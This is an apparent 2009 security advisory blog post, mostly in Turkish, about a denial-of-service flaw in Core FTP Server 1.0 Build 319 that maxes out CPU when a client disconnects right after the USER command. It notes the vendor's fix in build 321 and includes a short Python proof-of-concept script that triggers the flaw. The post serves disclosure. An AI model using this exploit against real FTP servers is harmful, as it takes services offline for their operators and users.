Core FTP Server 1.0 Build 319 Denial of Service Vulnerability

written by Mert SARICA | 1 December, 2009

Sorunun kaynağına kabaca bakacak olursak ftp sunucusuna USER komutu gönderildikten hemen sonra bağlantı kesilirse, CPU %100'e yükselmekte ve servis kapatılana dek bu seviyede çalışmaya devam etmektedir. Bu zafiyeti istismar edebilmek için ftp sunucusu üzerinde geçerli bir hesabınızın olmasına gerek yoktur.

Not: Buil 321 ile sorun ortadan kalkmıştır.
_____
Ok sorry about the delay, here's the build that should fix it…
http://www.coreftp.com/test/Server.exe (build 321)

Core FTP Support
_____-

Download: Core FTP Server 1.0 Build 319

POC Code:

```
# Core FTP Server 1.0 Build 319
# Denial of Service Vulnerability
# Note: FTP account is not required for exploitation
# http://www.mertsarica.com

import socket, sys

HOST = 'localhost'
PORT = 21
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((HOST, PORT))
except:
print "Connection error"
sys.exit(1)

try:
s.send('USER MS\r\n') # magic packet
s.close()
print("Very good, young padawan, but you still have much to learn...")
except:
print "Connection error"
sys.exit(1)
```

POC Screen Shot: